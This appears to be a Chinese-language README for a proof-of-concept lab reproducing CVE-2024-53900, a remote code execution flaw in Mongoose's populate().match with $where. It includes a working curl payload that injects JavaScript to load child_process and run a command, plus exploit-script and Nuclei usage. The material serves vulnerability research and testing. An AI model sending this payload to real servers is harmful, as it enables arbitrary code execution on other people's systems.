CVE-2024-53900 - Mongoose populate().match $where 远程代码执行（RCE）

本仓库提供了一个可复现的漏洞环境及针对 CVE-2024-53900 的概念验证（PoC），该漏洞是 Mongoose < 8.8.3 中的一个严重远程代码执行（RCE）漏洞。

---

📌 漏洞详情

• CVE: CVE-2024-53900
• 受影响的版本: Mongoose < 8.8.3
• 严重性: 严重（CVSS 9.1）
• 攻击向量: populate().match 与 $where 结合
• 影响: 在 Node.js 环境中执行任意 JavaScript（RCE）

参考资料:

• GitHub 安全公告
• 修复提交

---

🛠️ 设置说明

1. 克隆仓库

git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900

2. 启动环境（Docker Compose）

docker-compose up -d

📌 GUI 概念验证（计算器）

默认情况下，漏洞 Node.js 应用在 Docker 内运行。
但是，GUI 应用程序（如 xcalc 或 gnome-calculator）无法在容器内启动。

👉 如果你想通过弹出计算器窗口演示 RCE：

1. 在 Docker 中运行 MongoDB（作为数据库后端）

   docker run -d --name mongo -p 27017:27017 mongo:6
   

2. 在本地运行漏洞 Node.js 应用

   cd ~/cve-2024/app
   npm install
   node server.js

• MongoDB 运行在端口 27017
• 漏洞 Node.js 应用运行在端口 5000

---

📂 目录结构

/home/kali/cve-2024/
├── docker-compose.yml     # 环境配置
├── exploit.py             # 自动化利用脚本
├── CVE-2024-53900.yaml    # Nuclei 模板
├── README.md              # 文档
├── app/                   # 漏洞 Node.js 应用
│   ├── Dockerfile
│   ├── package.json
│   ├── server.js
│   ├── models.js
│   └── views/
└── data/                  # MongoDB 数据卷

---

🚀 利用

手动测试

curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"

自动化概念验证

python3 exploit.py --url http://localhost:5000

使用 Nuclei

nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author

---

🔒 安全说明

• 仅供研究与测试使用（非生产环境）。
• 载荷限定为安全操作（例如，文件创建）。
• 使用 Docker 完全隔离。

---

✅ 测试环境

• 操作系统：Kali Linux
• MongoDB: mongo:6
• Node.js: 18
• Mongoose: 8.5.0（有漏洞）
• Express: 4.18.2

---

📸 演示